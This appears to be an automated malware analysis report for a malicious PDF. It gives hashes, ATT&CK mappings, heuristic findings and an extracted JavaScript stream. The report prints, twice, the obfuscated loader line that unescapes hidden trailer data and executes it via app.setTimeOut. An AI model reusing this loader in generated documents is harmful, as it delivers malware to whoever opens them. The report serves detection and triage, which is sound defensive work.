PDF / .VXE malware analysis — malicious · 51f9c6723c0d143a

MALICIOUS

PDF / .VXE

4.7 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe (via Notepad) First seen: 2026-05-10

MD5: 4ee50479f52a7048d662d5ee9f86f0b5 SHA-1: 8b3b0b4b58dbf1049bb8a0e9d671bb4171250734 SHA-256: 51f9c6723c0d143a036028532b63a3759b24569241e466bb6c291b18ac8e0a4a

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_UNESCAPE heuristic suggests the JavaScript is obfuscated. The extracted artifact 'javascript_obj0006_000.js' is likely responsible for executing malicious code. The overall intent appears to be the execution of a secondary payload, common in PDF-based malware delivery.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
gNS='app';if(app.alert)gNS='';q2Th=this;zak=q2Th.info;gNS=gNS+unescape('%')+gNS;ugi=zak.Trailer.replace(/([A-Z])/g,gNS);app.setTimeOut(unescape(ugi),1)
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0006_000.js`	pdf-javascript-stream	PDF /JS object 6 at offset 0x1013	151 bytes
SHA-256: `a1b4d29d95cbf5153c09d30ac5dd9993b066160fe3cd6baf5e778cdcedbdb5dd`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script gNS='app';if(app.alert)gNS='';q2Th=this;zak=q2Th.info;gNS=gNS+unescape('%')+gNS;ugi=zak.Trailer.replace(/([A-Z])/g,gNS);app.setTimeOut(unescape(ugi),1)

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